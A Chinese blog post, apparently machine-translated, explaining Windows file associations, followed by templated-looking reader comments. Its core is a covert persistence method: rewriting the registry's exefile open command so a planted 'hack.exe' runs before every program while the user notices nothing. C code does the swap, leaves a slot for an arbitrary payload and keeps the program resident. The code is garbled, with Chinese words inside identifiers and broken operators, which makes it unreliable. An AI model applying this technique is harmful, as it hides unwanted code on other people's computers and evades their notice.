老铁们,大家好,相信还有很多朋友对于C|文件关联与程序自启动和的相关问题不太懂,没关系,今天就由我来为大家分享分享C|文件关联与程序自启动以及的问题,文章篇幅可能偏长,希望可以帮助到大家,下面一起来看看吧!
根据此计算机上安装的应用程序,建议使用三种打开方式,其中%SystemRoot%\system32\NOTEPAD.EXE 是默认方式。
注册表中有一些设置:
例如,双击c:\virus.txt 文件将打开该文件。对于操作系统,先打开notepad.exe,然后notepad.exe打开c:\virus.txt。
以下是打开该文件的命令行方法:
相当于:
如果使用命令行,请使用chrome打开virus.txt:
链接到上述注册表设置:
“%1”表示需要打开的文件,前面的字符表示可以打开该文件的应用程序。
说了这么多,我想解释一下如何打开.exe 文件。我们可以使用一个.exe文件来打开另一个.exe文件吗?
看下面exe文件的打开设置:
“%1”表示.exe 本身。因为它是.exe文件,所以不需要像.txt文件一样使用另一个.exe文件来打开它。后面的“%*”代表以命令行形式运行exe时所取的参数。
如上所述,您可以使用一个.exe文件来打开另一个.exe文件吗?答案是肯定的,如下设置所示:
打开任何“.exe”文件,可以先运行“.c:\hack.exe”文件,然后运行所单击的文件。
例如,从命令行执行:c:\hack.exe c:\test.exe。您可以先打开hack.exe,然后打开test.exe。
有了这些前提知识,我们似乎就可以使用文件关联来打开我们需要的程序了。
第一步当然是修改HKEY_CLASSES_ROOT\exefile\\shell\\open\\command中的值,它是可执行程序*.exe文件的关联点。默认值为“%1”%*。当我们将值改为c:\hack.exe “%1” %*时,以后打开exe文件就会激活C盘下的hack.exe。另外,我们需要获取hack.exe运行时传入的命令行参数“%1”,然后启动原来的exe程序,这样对于普通人来说,就好像什么也没发生一样。具体演示代码如下:
#include stdio.h#include windows.hvoid myFunc(); //想要实现的功能void hack(int argc, char *argv[]); //使用exe文件运行int main(int argc,char * argv[]){ hack(argc, argv); return 0;} void hack(int argc, char *argv[]) //这个程序hack.exe 应该和另一个exe 文件(比如B.exe)一起运行{ char fPath[256]; //B的文件路径memset(fPath,0,256); if(argc!=1){ //argc!=1 表示有参数int length=strlen(argv[1]); //argv[0]代表程序本身,argv[1]代表第一个参数//当我们尝试使用这个程序(hack.exe)打开另一个程序B时, //另一个程序B的文件路径是argv [1] char *ch=(char *)malloc(长度); strcpy(ch,argv[1]); for(int i=0;ilength;i++,ch++)//将路径字符串中所有’\’改为’\\’ { if(*ch==’\\’) strncat(fPath,’\\\\ ‘,2);否则strncat(fPath,ch,1); } } //执行程序B之前先恢复注册表,否则使用ShellExecute或者执行hack.exe。 char para[]=’\’%1\’ %*’; //”‘%1′ %* ” %1 代表exe 文件本身。添加双引号可以避免路径中空格引起的错误。 %* 代表运行参数char* subkey=’exefile\\shell\\open\\command’; RegSetValue(HKEY_CLASSES_ROOT,子键,REG_SZ,(LPCTSTR)para,strlen(para)+1); ShellExecute(NULL,’open’,fPath,NULL, NULL,SW_SHOW); //执行程序B//程序执行完成后,将注册表修改为我们要启动的hack.exe TCHAR filename[256]; GetModuleFileName(NULL, 文件名, 255); //获取程序全路径名strcat(filename,’ \’%1\’ %*’); //附加参数RegSetValue(HKEY_CLASSES_ROOT,subkey,REG_SZ,(LPCTSTR)filename, strlen(filename) + 1); //以上构成了修改注册表和运行程序循环myFunc();}void myFunc(){ //MessageBox(NULL,’Hello’,NULL,MB_OK); //为了测试,可以将其替换为你想要实现的功能//while( 1) ; //常驻内存} 上述代码运行一次后,exe程序一运行就会首先执行hack.exe。
但是,因为每次启动exe程序时,都会启动hack.exe,这是我们不希望看到的。
如何防止一个程序多次启动?即保证系统中只能有一个进程。
为了防止同时出现多个进程,我们需要使用CreateMutex()函数创建一个互斥的对象。互斥对象可以保证多个线程或进程对单个资源的互斥访问,即一个资源不会同时被两个或多个线程或进程访问。我们使用以下代码创建一个互斥对象:
void myMutex(){ 处理hMutex;双字dwErr; hMutex=CreateMutex(NULL, //无安全描述FALSE, //无所有者’hack’); //对象名if(hMutex==NULL) //hMutex 为NULL 表示创建失败{ //MessageBox(NULL,’CreateMutex error!’,NULL,MB_OK); } else { dwErr=GetLastError(); if(dwErr==ERROR_ALREADY_EXISTS) //互斥对象已存在{ //MessageBox(NULL ,’应用程序已经运行’,NULL,MB_OK);退出进程(0); } }}上面的代码可以保证系统中只有一个进程。
但如果程序常驻内存,则需要添加上面创建互斥对象的代码,否则每次打开一个exe程序就会多出一个hack.exe。
原创文章,作者:小su,如若转载,请注明出处:https://www.sudun.com/ask/112606.html
用户评论
你是梦遥不可及
这篇文章讲得真到位!我一直对文件关联和程序自启动有点懵懂,现在终于明白这些东西是怎么运作的了。感觉学习一下相关的技术,可以提升自己的电脑使用效率!
有11位网友表示赞同!
断秋风
我也是最近才发现这个功能,原来这些看似无用的设置关系这么大啊!我之前总是把各种软件设为自启动,导致电脑开机速度超级慢…
有5位网友表示赞同!
月下独酌
文件关联确实很强大,它能让我们的工作和生活更加方便快捷。比如打开一个图片文件的时候,系统自动识别就可以用默认的图片软件处理了,省时间不说还能保证一致性!
有10位网友表示赞同!
心安i
这篇文章写的太抽象了,我根本没有明白文件的关联是如何实现的?能不能用更易懂的例子说明一下…
有13位网友表示赞同!
念安я
自启动功能确实很方便,但如果不小心把太多软件设为自启动的话,就会导致电脑开机缓慢。所以要合理使用自启动功能,选择真正必备的程序。
有20位网友表示赞同!
屌国女农
我觉得这篇文章的重点在于安全方面,因为文件关联和自启动功能容易被恶意软件利用。希望各位小伙伴要注意保护自己的电脑安全!
有20位网友表示赞同!
颓废i
以前用的是Linux系统,那时候文件关联和自启动的功能设置都比较简单粗暴,好像Windows系统要复杂多了呢…
有14位网友表示赞同!
傲世九天
我已经很久没有关注这方面的内容了,原来这些技术的应用范围这么广泛啊!看来以后还是要多阅读一些技术方面的文章更新一下知识!
有10位网友表示赞同!
抚涟i
我是一个程序猿,经常需要调整文件的关联和自启动功能。这篇文章对那些想要深入了解这两个概念的人来说很有帮助。特别是提到的安全问题,确实不容忽视!
有11位网友表示赞同!
话扎心
学习完这篇文章,我才明白为什么我的电脑总是开机很慢,原来是太多软件打开了自动运行! 现在我会认真清理一下这些自启动项了…
有6位网友表示赞同!
┲﹊怅惘。
文件关联和程序自启动的功能虽然方便,但是使用不当可能会导致很多问题,例如占用系统资源、影响安全等等。所以建议大家学习一些相关的知识,以便更好地控制这些功能。
有5位网友表示赞同!
抓不住i
我以前总感觉这篇文章标题听上去比较专业复杂,现在明白了文章的意思,其实说的都是一些生活中经常遇到的问题
有12位网友表示赞同!
蝶恋花╮
个人认为这篇文章写的很棒,不仅介绍了文件关联和程序自启动的原理,还强调了安全方面的风险。非常实用!
有8位网友表示赞同!
妄灸
我也遇到过因为恶意软件利用文件关联功能导致电脑中毒的事情,所以我觉得这个安全方面的提醒很重要!
有20位网友表示赞同!
余温散尽ぺ
希望以后能看到更多关于这些技术的深入解析文章,例如如何编写程序实现文件的关联和自启动之类的内容!
有8位网友表示赞同!
枫无痕
这篇文章写的比较浅显,对一些已有一定认知的人来说可能缺乏深度.
有6位网友表示赞同!
仰望幸福
文件关联的功能很强大,但也可能造成一些混乱。如果系统默认的关联规则与用户的预期不一致就容易产生误判!
有15位网友表示赞同!
病态的妖孽
对于程序初学者来说,这篇文章提供了很好的入门知识。希望以后能看到更多类似的文章进行讲解,深入浅出地介绍各种技术细节!
有14位网友表示赞同!